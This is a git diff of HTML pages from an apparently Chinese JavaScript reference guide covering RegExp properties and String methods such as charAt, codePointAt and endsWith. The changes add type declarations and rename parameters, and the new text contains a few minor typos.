                                                                                                                            leftContext$`input 字符串中 lastMatch 之前的文本
                                                                                                                            multiline$*布尔值,表示是否所有表达式都使用多行模式
                                                                                                                            rightContext$'input 字符串中 lastMatch 之后的文本

                                                                                                                            使用这些属性,可以从 exec() 方法或 test() 方法执行的操作中提取出更具体的信息。

                                                                                                                            // test()用于测试一个字符串是否匹配某个正则表达式,并返回一个布尔值
                                                                                                                            let text = 'this has been a short summer';
                                                                                                                            let regexp = /(.)hort/g;
                                                                                                                            if (regexp.test(text)) {
                                                                                                                            console.log(RegExp.input); // 'this has been a short summer'
                                                                                                                            console.log(RegExp.leftContext); // 'this has been a '
                                                                                                                            console.log(RegExp.rightContext); // ' summer'
                                                                                                                            console.log(RegExp.lastMatch); // 'short'
                                                                                                                            console.log(RegExp.lastParen); // 's'
                                                                                                                            console.log(RegExp.multiline); // false
                                                                                                                            -
                                                                                                                            console.log(RegExp['$_']); // 'this has been a short summer'
                                                                                                                            console.log(RegExp['$`']); // 'this has been a '
                                                                                                                            console.log(RegExp["$'"]); // ' summer'
                                                                                                                            console.log(RegExp['$&']); // 'short'
                                                                                                                            console.log(RegExp['$+']); // 's'
                                                                                                                            console.log(RegExp['$*']); // false
                                                                                                                            }

                                                                                                                            JavaScript 有 9 个用于存储捕获组的构造函数属性,在调用 exec()test() 方法时,这些属性会被自动填充

                                                                                                                            理论上,应该保存整个表达式匹配文本的 RegExp.$0 并不存在,值为 undefined

                                                                                                                            // RegExp.$1\RegExp.$2\RegExp.$3……到RegExp.$9分别用于存储第一、第二……第九个匹配的捕获组
                                                                                                                            var text = 'this has been a short summer';
                                                                                                                            var pattern = /(..)or(.)/g;
                                                                                                                            if (pattern.test(text)) {
                                                                                                                            console.log(RegExp.$1); // sh
                                                                                                                            console.log(RegExp.$2); // t
                                                                                                                            }
                                                                                                                            +
                                                                                                                            console.log(RegExp['$_']); // 'this has been a short summer'
                                                                                                                            console.log(RegExp['$`']); // 'this has been a '
                                                                                                                            console.log(RegExp["$'"]); // ' summer'
                                                                                                                            console.log(RegExp['$&']); // 'short'
                                                                                                                            console.log(RegExp['$+']); // 's'
                                                                                                                            console.log(RegExp['$*']); // false
                                                                                                                            }

                                                                                                                            JavaScript 有 9 个用于存储捕获组的构造函数属性,在调用 exec()test() 方法时,这些属性会被自动填充

                                                                                                                            理论上,应该保存整个表达式匹配文本的 RegExp.$0 并不存在,值为 undefined

                                                                                                                            // RegExp.$1\RegExp.$2\RegExp.$3……到RegExp.$9分别用于存储第一、第二……第九个匹配的捕获组
                                                                                                                            var text = 'this has been a short summer';
                                                                                                                            var pattern = /(..)or(.)/g;
                                                                                                                            if (pattern.test(text)) {
                                                                                                                            console.log(RegExp.$1); // sh
                                                                                                                            console.log(RegExp.$2); // t
                                                                                                                            }
                                                                                                                            - + diff --git a/standard-built-in-objects/text-processing/regexp/test/index.html b/standard-built-in-objects/text-processing/regexp/test/index.html index 17d9073eb..62c07edab 100644 --- a/standard-built-in-objects/text-processing/regexp/test/index.html +++ b/standard-built-in-objects/text-processing/regexp/test/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + RegExp.prototype.test - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            RegExp.prototype.test()

                                                                                                                            test() 方法执行一个检索,用来测试正则表达式与指定的字符串是否匹配。

                                                                                                                            语法

                                                                                                                            regExpObject.test(str);
                                                                                                                            参数类型描述
                                                                                                                            regExpObjectRegExp 类型匹配的正则表达式。
                                                                                                                            strString 类型指定的字符串。将在该字符串中执行搜索。

                                                                                                                            如果正则表达式与指定的字符串匹配 ,返回 true;否则 false

                                                                                                                            描述

                                                                                                                            • 值得注意的是,每次执行test()函数都只查找最多一个匹配,如果找到就立即返回 true,否则返回 false
                                                                                                                            • 如果为正则表达式设置了全局标志 gtest()函数仍然只查找最多一个匹配,不过我们再次调用该对象的 test() 函数就可以查找下一个匹配。

                                                                                                                            其原因是:如果 regExpObject 带有全局标志 gtest() 函数不是从字符串的开头开始查找,而是从属性 regExpObject.lastIndex 所指定的索引处开始查找。该属性值默认为 0,所以第一次仍然是从字符串的开头查找。当找到一个匹配时,test() 函数会将 regExpObject.lastIndex 的值改为字符串中本次匹配内容的最后一个字符的下一个索引位置。当再次执行 test() 函数时,将会从该索引位置处开始查找,从而找到下一个匹配。

                                                                                                                            因此,当我们使用 test() 函数执行了一次匹配之后,如果想要重新使用 test() 函数从头开始查找,则需要手动将 regExpObject.lastIndex 的值重置为 0。如果 test() 函数再也找不到可以匹配的文本时,该函数会自动把 regExpObject.lastIndex 属性重置为 0。

                                                                                                                            示例

                                                                                                                            代码示例

                                                                                                                            一个简单的例子,测试 "hello" 是否包含在字符串的最开始,返回布尔值。

                                                                                                                            let str = 'hello world!';
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            RegExp.prototype.test()

                                                                                                                            test() 方法执行一个检索,用来测试正则表达式与指定的字符串是否匹配。

                                                                                                                            语法

                                                                                                                            regExpObject.test(str);
                                                                                                                            参数类型描述
                                                                                                                            regExpObjectRegExp 类型匹配的正则表达式。
                                                                                                                            strString 类型指定的字符串。将在该字符串中执行搜索。

                                                                                                                            如果正则表达式与指定的字符串匹配 ,返回 true;否则 false

                                                                                                                            描述

                                                                                                                            • 值得注意的是,每次执行test()函数都只查找最多一个匹配,如果找到就立即返回 true,否则返回 false
                                                                                                                            • 如果为正则表达式设置了全局标志 gtest()函数仍然只查找最多一个匹配,不过我们再次调用该对象的 test() 函数就可以查找下一个匹配。

                                                                                                                            其原因是:如果 regExpObject 带有全局标志 gtest() 函数不是从字符串的开头开始查找,而是从属性 regExpObject.lastIndex 所指定的索引处开始查找。该属性值默认为 0,所以第一次仍然是从字符串的开头查找。当找到一个匹配时,test() 函数会将 regExpObject.lastIndex 的值改为字符串中本次匹配内容的最后一个字符的下一个索引位置。当再次执行 test() 函数时,将会从该索引位置处开始查找,从而找到下一个匹配。

                                                                                                                            因此,当我们使用 test() 函数执行了一次匹配之后,如果想要重新使用 test() 函数从头开始查找,则需要手动将 regExpObject.lastIndex 的值重置为 0。如果 test() 函数再也找不到可以匹配的文本时,该函数会自动把 regExpObject.lastIndex 属性重置为 0。

                                                                                                                            示例

                                                                                                                            代码示例

                                                                                                                            一个简单的例子,测试 "hello" 是否包含在字符串的最开始,返回布尔值。

                                                                                                                            let str = 'hello world!';
                                                                                                                            let result = /^hello/.test(str);
                                                                                                                            console.log(result); // true

                                                                                                                            当设置全局标志的正则使用 test()

                                                                                                                            如果正则表达式设置了全局标志,test() 的执行会改变正则表达式 lastIndex属性。连续的执行 test() 方法,后续的执行将会从 lastIndex 处开始匹配字符串,(exec() 同样改变正则本身的 lastIndex 属性值).

                                                                                                                            下面的实例表现了这种行为:

                                                                                                                            var regex = /foo/g;
                                                                                                                            // regex.lastIndex is at 0
                                                                                                                            regex.test('foo'); // true
                                                                                                                            -
                                                                                                                            // regex.lastIndex is now at 3
                                                                                                                            regex.test('foo'); // false
                                                                                                                            +
                                                                                                                            // regex.lastIndex is now at 3
                                                                                                                            regex.test('foo'); // false
                                                                                                                            - + diff --git a/standard-built-in-objects/text-processing/string/char-at/index.html b/standard-built-in-objects/text-processing/string/char-at/index.html index 6259c5d24..bf79819f7 100644 --- a/standard-built-in-objects/text-processing/string/char-at/index.html +++ b/standard-built-in-objects/text-processing/string/char-at/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.charAt - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            String.prototype.charAt()

                                                                                                                            charAt() 方法从一个字符串中返回指定的字符。

                                                                                                                            语法

                                                                                                                            str.charAt(index);
                                                                                                                            参数说明类型
                                                                                                                            index一个介于 0 和字符串长度减 1 之间的整数。 (0~length-1)。如果没有提供索引,默认值为 0。number

                                                                                                                            说明

                                                                                                                            字符串中的字符从左向右索引:

                                                                                                                            • 第一个字符的索引值为 0
                                                                                                                            • 最后一个字符(假设该字符位于字符串 stringName中)的索引值为 stringName.length - 1
                                                                                                                            • 如果指定的 index 值超出了该范围,则返回一个空字符串 ''

                                                                                                                            示例

                                                                                                                            const javascript = 'JAVASCRIPT';
                                                                                                                            -
                                                                                                                            javascript.charAt();
                                                                                                                            // J
                                                                                                                            javascript.charAt(0);
                                                                                                                            // J
                                                                                                                            javascript.charAt(1);
                                                                                                                            // A
                                                                                                                            javascript.charAt(2);
                                                                                                                            // V
                                                                                                                            javascript.charAt(3);
                                                                                                                            // A
                                                                                                                            javascript.charAt(4);
                                                                                                                            // S
                                                                                                                            javascript.charAt(5);
                                                                                                                            // C
                                                                                                                            javascript.charAt(6);
                                                                                                                            // R
                                                                                                                            javascript.charAt(7);
                                                                                                                            // I
                                                                                                                            javascript.charAt(8);
                                                                                                                            // P
                                                                                                                            javascript.charAt(9);
                                                                                                                            // T
                                                                                                                            javascript.charAt(100);
                                                                                                                            // ''
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            String.prototype.charAt()

                                                                                                                            charAt() 方法从一个字符串中返回指定的字符。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            str.charAt(pos);

                                                                                                                            类型声明:

                                                                                                                            interface String {
                                                                                                                            chartAt(pos: number): string;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            pos一个介于 0 和字符串长度减 1 之间的整数。 (0~length-1)。如果没有提供索引,默认值为 0。number

                                                                                                                            返回值:

                                                                                                                            返回字符串指定索引的字符。

                                                                                                                            方法说明

                                                                                                                            字符串中的字符从左向右索引:

                                                                                                                            • 第一个字符的索引值为 0
                                                                                                                            • 最后一个字符(假设该字符位于字符串 stringName中)的索引值为 stringName.length - 1
                                                                                                                            • 如果指定的 pos 值超出了该范围,则返回一个空字符串 ''

                                                                                                                            代码示例

                                                                                                                            const str = 'JAVASCRIPT';
                                                                                                                            +
                                                                                                                            str.charAt();
                                                                                                                            // J
                                                                                                                            str.chartAt(-1);
                                                                                                                            // ''
                                                                                                                            str.charAt(0);
                                                                                                                            // J
                                                                                                                            str.charAt(1);
                                                                                                                            // A
                                                                                                                            str.charAt(2);
                                                                                                                            // V
                                                                                                                            str.charAt(3);
                                                                                                                            // A
                                                                                                                            str.charAt(4);
                                                                                                                            // S
                                                                                                                            str.charAt(5);
                                                                                                                            // C
                                                                                                                            str.charAt(6);
                                                                                                                            // R
                                                                                                                            str.charAt(7);
                                                                                                                            // I
                                                                                                                            str.charAt(8);
                                                                                                                            // P
                                                                                                                            str.charAt(9);
                                                                                                                            // T
                                                                                                                            str.charAt(100);
                                                                                                                            // ''

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/text-processing/string/char-code-at/index.html b/standard-built-in-objects/text-processing/string/char-code-at/index.html index 690cc3f55..c9e286873 100644 --- a/standard-built-in-objects/text-processing/string/char-code-at/index.html +++ b/standard-built-in-objects/text-processing/string/char-code-at/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.charCodeAt - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            String.prototype.charCodeAt()

                                                                                                                            charCodeAt() 方法返回 0 到 65535 之间的整数,表示给定索引处的 UTF-16 代码单元(在 Unicode 编码单元表示一个单一的 UTF-16 编码单元的情况下,UTF-16 编码单元匹配 Unicode 编码单元。但在——例如 Unicode 编码单元 > 0x10000 的这种——不能被一个 UTF-16 编码单元单独表示的情况下,只能匹配 Unicode 代理对的第一个编码单元) 。如果你想要整个代码点的值,使用 codePointAt()

                                                                                                                            语法

                                                                                                                            str.charCodeAt(index);
                                                                                                                            参数说明类型
                                                                                                                            index一个大于等于 0,小于字符串长度的整数。如果不是一个数值,则默认为 0。number

                                                                                                                            返回值表示字符串对象指定索引处的字符的 Unicode 编码;如果索引超出范围,则返回 NaN

                                                                                                                            说明

                                                                                                                            Unicode 编码单元(code points)的范围从 0 到 1114111(0x10FFFF)。开头的 128 个 Unicode 编码单元和 ASCII 字符编码一样。

                                                                                                                            ⚠️ 注意,charCodeAt 总是返回一个小于 65536 的值。这是因为高位编码单元(higher code point)使用一对(低位编码(lower valued))代理伪字符("surrogate" pseudo-characters)来表示,从而构成一个真正的字符。因此,为了查看或复制(reproduce)65536 及以上编码字符的完整字符,需要在获取 charCodeAt(i) 的值的同时获取 charCodeAt(i+1) 的值,或者改为获取 codePointAt(i) 的值。

                                                                                                                            如果指定的 index 小于 0 或不小于字符串的长度,则 charCodeAt 返回 NaN

                                                                                                                            示例

                                                                                                                            下例介绍了不同索引情况下返回的 Unicode 值:

                                                                                                                            'ABC'.charCodeAt(0);
                                                                                                                            // 65
                                                                                                                            'ABC'.charCodeAt(1);
                                                                                                                            // 66
                                                                                                                            'ABC'.charCodeAt(2);
                                                                                                                            // 67
                                                                                                                            'ABC'.charCodeAt(3);
                                                                                                                            // NaN
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            String.prototype.charCodeAt()

                                                                                                                            charCodeAt() 方法返回 0 到 65535 之间的整数,表示给定索引处的 UTF-16 代码单元(在 Unicode 编码单元表示一个单一的 UTF-16 编码单元的情况下,UTF-16 编码单元匹配 Unicode 编码单元。但在——例如 Unicode 编码单元 > 0x10000 的这种——不能被一个 UTF-16 编码单元单独表示的情况下,只能匹配 Unicode 代理对的第一个编码单元) 。如果你想要整个代码点的值,使用 codePointAt()

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            str.charCodeAt(index);

                                                                                                                            类型声明:

                                                                                                                            interface String {
                                                                                                                            charCodeAt(index: number): number;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            index一个大于等于 0,小于字符串长度的整数。如果不是一个数值,则默认为 0。number

                                                                                                                            返回值:

                                                                                                                            返回值表示字符串对象指定索引处的字符的 Unicode 编码;如果索引超出范围,则返回 NaN

                                                                                                                            方法说明

                                                                                                                            Unicode 编码单元(code points)的范围从 0 到 1114111(0x10FFFF)。开头的 128 个 Unicode 编码单元和 ASCII 字符编码一样。

                                                                                                                            ⚠️ 注意,charCodeAt 总是返回一个小于 65536 的值。这是因为高位编码单元(higher code point)使用一对(低位编码(lower valued))代理伪字符("surrogate" pseudo-characters)来表示,从而构成一个真正的字符。因此,为了查看或复制(reproduce)65536 及以上编码字符的完整字符,需要在获取 charCodeAt(i) 的值的同时获取 charCodeAt(i+1) 的值,或者改为获取 codePointAt(i) 的值。

                                                                                                                            如果指定的 index 小于 0 或不小于字符串的长度,则 charCodeAt 返回 NaN

                                                                                                                            代码示例

                                                                                                                            下例介绍了不同索引情况下返回的 Unicode 值:

                                                                                                                            'ABC'.charCodeAt(0);
                                                                                                                            // 65
                                                                                                                            'ABC'.charCodeAt(1);
                                                                                                                            // 66
                                                                                                                            'ABC'.charCodeAt(2);
                                                                                                                            // 67
                                                                                                                            'ABC'.charCodeAt(3);
                                                                                                                            // NaN

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/text-processing/string/code-point-at/index.html b/standard-built-in-objects/text-processing/string/code-point-at/index.html index f27d35b78..47fa4aea3 100644 --- a/standard-built-in-objects/text-processing/string/code-point-at/index.html +++ b/standard-built-in-objects/text-processing/string/code-point-at/index.html @@ -7,36 +7,39 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.codePointAt - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            String.prototype.codePointAt()

                                                                                                                            codePointAt() 方法返回 一个 Unicode 编码点值的非负整数。

                                                                                                                            语法

                                                                                                                            str.codePointAt(index);
                                                                                                                            参数说明类型
                                                                                                                            index这个字符串中需要转码的元素的位置索引。number

                                                                                                                            返回值是在字符串中的给定索引的编码单元体现的数字,如果在索引处没找到元素则返回 undefined

                                                                                                                            说明

                                                                                                                            如果在指定的位置没有元素则返回 undefined 。如果在索引处开始没有 UTF-16 代理对,将直接返回在那个索引处的编码单元。

                                                                                                                            Surrogate Pair 是 UTF-16 中用于扩展字符而使用的编码方式,是一种采用四个字节(两个 UTF-16 编码)来表示一个字符,称作代理对。

                                                                                                                            示例

                                                                                                                            'ABC'.codePointAt(1); // 66
                                                                                                                            -
                                                                                                                            '\uD800\uDC00'.codePointAt(0); // 65536
                                                                                                                            -
                                                                                                                            'XYZ'.codePointAt(42); // undefined

                                                                                                                            Polyfill

                                                                                                                            给原生不支持 ECMAScript 6 的浏览器使用 codePointAt() 方法的的一个字符串扩展方法。

                                                                                                                            /*! http://mths.be/codepointat v0.1.0 by @mathias */
                                                                                                                            if (!String.prototype.codePointAt) {
                                                                                                                            (function() {
                                                                                                                            // 严格模式,needed to support `apply`/`call` with `undefined`/`null`
                                                                                                                            'use strict';
                                                                                                                            var codePointAt = function(position) {
                                                                                                                            if (this == null) {
                                                                                                                            throw TypeError();
                                                                                                                            }
                                                                                                                            var string = String(this);
                                                                                                                            var size = string.length;
                                                                                                                            // 变成整数
                                                                                                                            var index = position ? Number(position) : 0;
                                                                                                                            if (index != index) {
                                                                                                                            // better `isNaN`
                                                                                                                            index = 0;
                                                                                                                            }
                                                                                                                            // 边界
                                                                                                                            if (index < 0 || index >= size) {
                                                                                                                            return undefined;
                                                                                                                            }
                                                                                                                            // 第一个编码单元
                                                                                                                            var first = string.charCodeAt(index);
                                                                                                                            var second;
                                                                                                                            if (
                                                                                                                            // 检查是否开始 surrogate pair
                                                                                                                            first >= 0xd800 &&
                                                                                                                            // high surrogate
                                                                                                                            first <= 0xdbff &&
                                                                                                                            // 下一个编码单元
                                                                                                                            size > index + 1
                                                                                                                            ) {
                                                                                                                            second = string.charCodeAt(index + 1);
                                                                                                                            if (second >= 0xdc00 && second <= 0xdfff) {
                                                                                                                            // low surrogate
                                                                                                                            // http://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
                                                                                                                            return (first - 0xd800) * 0x400 + second - 0xdc00 + 0x10000;
                                                                                                                            }
                                                                                                                            }
                                                                                                                            return first;
                                                                                                                            };
                                                                                                                            -
                                                                                                                            if (Object.defineProperty) {
                                                                                                                            Object.defineProperty(String.prototype, 'codePointAt', {
                                                                                                                            value: codePointAt,
                                                                                                                            configurable: true,
                                                                                                                            writable: true,
                                                                                                                            });
                                                                                                                            } else {
                                                                                                                            String.prototype.codePointAt = codePointAt;
                                                                                                                            }
                                                                                                                            })();
                                                                                                                            }
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            String.prototype.codePointAt()

                                                                                                                            codePointAt() 方法返回 一个 Unicode 编码点值的非负整数。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            str.codePointAt(pos);

                                                                                                                            类型声明:

                                                                                                                            interface String {
                                                                                                                            codePointAt(pos: number): number | undefined;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            pos这个字符串中需要转码的元素的位置索引。number

                                                                                                                            返回值:

                                                                                                                            返回值是在字符串中的给定索引的编码单元体现的数字,如果在索引处没找到元素则返回 undefined

                                                                                                                            方法说明

                                                                                                                            如果在指定的位置没有元素则返回 undefined 。如果在索引处开始没有 UTF-16 代理对,将直接返回在那个索引处的编码单元。

                                                                                                                            Surrogate Pair 是 UTF-16 中用于扩展字符而使用的编码方式,是一种采用四个字节(两个 UTF-16 编码)来表示一个字符,称作代理对。

                                                                                                                            代码示例

                                                                                                                            'ABC'.codePointAt(1);
                                                                                                                            // 66
                                                                                                                            +
                                                                                                                            '\uD800\uDC00'.codePointAt(0);
                                                                                                                            // 65536
                                                                                                                            +
                                                                                                                            'XYZ'.codePointAt(42);
                                                                                                                            // undefined

                                                                                                                            兼容性代码

                                                                                                                            给原生不支持 ECMAScript 6 的浏览器使用 codePointAt() 方法的的一个字符串扩展方法。

                                                                                                                            /*! http://mths.be/codepointat v0.1.0 by @mathias */
                                                                                                                            if (!String.prototype.codePointAt) {
                                                                                                                            (function () {
                                                                                                                            // 严格模式,needed to support `apply`/`call` with `undefined`/`null`
                                                                                                                            'use strict';
                                                                                                                            var codePointAt = function (position) {
                                                                                                                            if (this == null) {
                                                                                                                            throw TypeError();
                                                                                                                            }
                                                                                                                            var string = String(this);
                                                                                                                            var size = string.length;
                                                                                                                            // 变成整数
                                                                                                                            var pos = position ? Number(position) : 0;
                                                                                                                            if (pos != pos) {
                                                                                                                            // better `isNaN`
                                                                                                                            pos = 0;
                                                                                                                            }
                                                                                                                            // 边界
                                                                                                                            if (pos < 0 || pos >= size) {
                                                                                                                            return undefined;
                                                                                                                            }
                                                                                                                            // 第一个编码单元
                                                                                                                            var first = string.charCodeAt(pos);
                                                                                                                            var second;
                                                                                                                            if (
                                                                                                                            // 检查是否开始 surrogate pair
                                                                                                                            first >= 0xd800 &&
                                                                                                                            // high surrogate
                                                                                                                            first <= 0xdbff &&
                                                                                                                            // 下一个编码单元
                                                                                                                            size > pos + 1
                                                                                                                            ) {
                                                                                                                            second = string.charCodeAt(pos + 1);
                                                                                                                            if (second >= 0xdc00 && second <= 0xdfff) {
                                                                                                                            // low surrogate
                                                                                                                            // http://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
                                                                                                                            return (first - 0xd800) * 0x400 + second - 0xdc00 + 0x10000;
                                                                                                                            }
                                                                                                                            }
                                                                                                                            return first;
                                                                                                                            };
                                                                                                                            +
                                                                                                                            if (Object.defineProperty) {
                                                                                                                            Object.defineProperty(String.prototype, 'codePointAt', {
                                                                                                                            value: codePointAt,
                                                                                                                            configurable: true,
                                                                                                                            writable: true,
                                                                                                                            });
                                                                                                                            } else {
                                                                                                                            String.prototype.codePointAt = codePointAt;
                                                                                                                            }
                                                                                                                            })();
                                                                                                                            }

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/text-processing/string/concat/index.html b/standard-built-in-objects/text-processing/string/concat/index.html index ca53ec8a9..59082931d 100644 --- a/standard-built-in-objects/text-processing/string/concat/index.html +++ b/standard-built-in-objects/text-processing/string/concat/index.html @@ -7,36 +7,39 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.concat - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            String.prototype.concat()

                                                                                                                            concat() 函数用于将当前字符串与指定字符串进行拼接,并返回拼接后的字符串。

                                                                                                                            语法

                                                                                                                            str.concat( string2, string3 [, ..., stringN] )
                                                                                                                            参数说明类型
                                                                                                                            str2...strN和原字符串连接的多个字符串。string

                                                                                                                            concat() 函数的返回值为 String 类型,其返回值为拼接后的字符串。

                                                                                                                            concat() 函数的作用等同于运算符 +,例如:str.concat(str1, str2) 等同于 str + str1 + str2

                                                                                                                            说明

                                                                                                                            concat 方法将一个或多个字符串与原字符串连接合并,形成一个新的字符串并返回。 concat 方法并不影响原字符串。

                                                                                                                            示例

                                                                                                                            下面的例子演示如何将多个字符串与原字符串合并为一个新字符串

                                                                                                                            var hello = 'Hello, ';
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            String.prototype.concat()

                                                                                                                            concat() 函数用于将当前字符串与指定字符串进行拼接,并返回拼接后的字符串。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            str.concat( string2, string3 [, ..., stringN] )

                                                                                                                            类型声明:

                                                                                                                            interface String {
                                                                                                                            concat(...strings: string[]): string;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            str2...strN和原字符串连接的多个字符串。string

                                                                                                                            concat() 函数的返回值为 String 类型,其返回值为拼接后的字符串。

                                                                                                                            concat() 函数的作用等同于运算符 +,例如:str.concat(str1, str2) 等同于 str + str1 + str2

                                                                                                                            方法说明

                                                                                                                            concat 方法将一个或多个字符串与原字符串连接合并,形成一个新的字符串并返回。 concat 方法并不影响原字符串。

                                                                                                                            代码示例

                                                                                                                            下面的例子演示如何将多个字符串与原字符串合并为一个新字符串

                                                                                                                            var hello = 'Hello, ';
                                                                                                                            hello.concat('Kevin', ' have a nice day.');
                                                                                                                            // Hello, Kevin have a nice day.

                                                                                                                            建议使用赋值操作符(++=)代替字符串的 concat 方法。

                                                                                                                            var hello = 'Hello, ';
                                                                                                                            hello += 'world';
                                                                                                                            -
                                                                                                                            console.log(hello);
                                                                                                                            // Hello, world
                                                                                                                            +
                                                                                                                            console.log(hello);
                                                                                                                            // Hello, world

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/text-processing/string/ends-with/index.html b/standard-built-in-objects/text-processing/string/ends-with/index.html index f53afd3c3..d5fe0b769 100644 --- a/standard-built-in-objects/text-processing/string/ends-with/index.html +++ b/standard-built-in-objects/text-processing/string/ends-with/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.endsWith - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            String.prototype.endsWith()

                                                                                                                            endsWith() 用来判断当前字符串是否是以另外一个给定的子字符串 结尾 的,根据判断结果返回 truefalse

                                                                                                                            语法

                                                                                                                            str.endsWith( searchString [, length] )
                                                                                                                            参数说明类型
                                                                                                                            searchString要搜索的子字符串string
                                                                                                                            length作为 str 的长度number

                                                                                                                            这个方法帮助你确定一个字符串是否在另一个字符串的末尾。这个方法是大小写敏感的。

                                                                                                                            说明

                                                                                                                            concat 方法将一个或多个字符串与原字符串连接合并,形成一个新的字符串并返回。 concat 方法并不影响原字符串。

                                                                                                                            示例

                                                                                                                            const str = 'Hello world!';
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            String.prototype.endsWith()

                                                                                                                            endsWith() 用来判断当前字符串是否是以另外一个给定的子字符串 结尾 的,根据判断结果返回 truefalse

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            str.endsWith( searchString [, endPosition] )

                                                                                                                            类型声明:

                                                                                                                            interface String {
                                                                                                                            endsWith(seachString: string, endPosition?: number): boolean;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            searchString要搜索的子字符串string
                                                                                                                            endPosition作为 str 的长度number

                                                                                                                            这个方法帮助你确定一个字符串是否在另一个字符串的末尾。这个方法是大小写敏感的。

                                                                                                                            方法说明

                                                                                                                            concat 方法将一个或多个字符串与原字符串连接合并,形成一个新的字符串并返回。 concat 方法并不影响原字符串。

                                                                                                                            代码示例

                                                                                                                            const str = 'Hello world!';
                                                                                                                            console.log(str.endsWith('world!'));
                                                                                                                            // true
                                                                                                                            -
                                                                                                                            console.log(str.endsWith('abc'));
                                                                                                                            // false

                                                                                                                            Polyfill

                                                                                                                            if (!String.prototype.endsWith) {
                                                                                                                            String.prototype.endsWith = function(searchString, length) {
                                                                                                                            if (length === undefined || length > this.length) {
                                                                                                                            length = this.length;
                                                                                                                            }
                                                                                                                            return this.substring(length - searchString.length, length) === searchString;
                                                                                                                            };
                                                                                                                            }
                                                                                                                            +
                                                                                                                            console.log(str.endsWith('abc'));
                                                                                                                            // false

                                                                                                                            兼容性代码

                                                                                                                            if (!String.prototype.endsWith) {
                                                                                                                            String.prototype.endsWith = function (searchString, endPosition) {
                                                                                                                            if (endPosition === undefined || endPosition > this.length) {
                                                                                                                            endPosition = this.length;
                                                                                                                            }
                                                                                                                            return this.substring(endPosition - searchString.length, endPosition) === searchString;
                                                                                                                            };
                                                                                                                            }

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/text-processing/string/from-char-code/index.html b/standard-built-in-objects/text-processing/string/from-char-code/index.html index d1bcfe65a..b403dc600 100644 --- a/standard-built-in-objects/text-processing/string/from-char-code/index.html +++ b/standard-built-in-objects/text-processing/string/from-char-code/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.fromCharCode - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            String.fromCharCode

                                                                                                                            静态 String.fromCharCode() 方法返回由指定的 UTF-16 代码单元序列创建的字符串。

                                                                                                                            语法

                                                                                                                            String.fromCharCode(num1 [, num2 [, num3 ...[, numN]]]);

                                                                                                                            参数:

                                                                                                                            • num:一系列 UTF-16 代码单元的数字。范围介于 0 到 65535(0xFFFF)之间。大于 0xFFFF 的数字将被截断。不进行有效性检查。

                                                                                                                            使用示例

                                                                                                                            String.fromCharCode(65, 66, 67);
                                                                                                                            // ABC
                                                                                                                            -
                                                                                                                            String.fromCharCode(0x2014);
                                                                                                                            // -

                                                                                                                            参考资料:

                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            String.fromCharCode

                                                                                                                            静态 String.fromCharCode() 方法返回由指定的 UTF-16 代码单元序列创建的字符串。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            String.fromCharCode(num1 [, num2 [, num3 ...[, numN]]]);

                                                                                                                            类型声明:

                                                                                                                            interface StringConstructor {
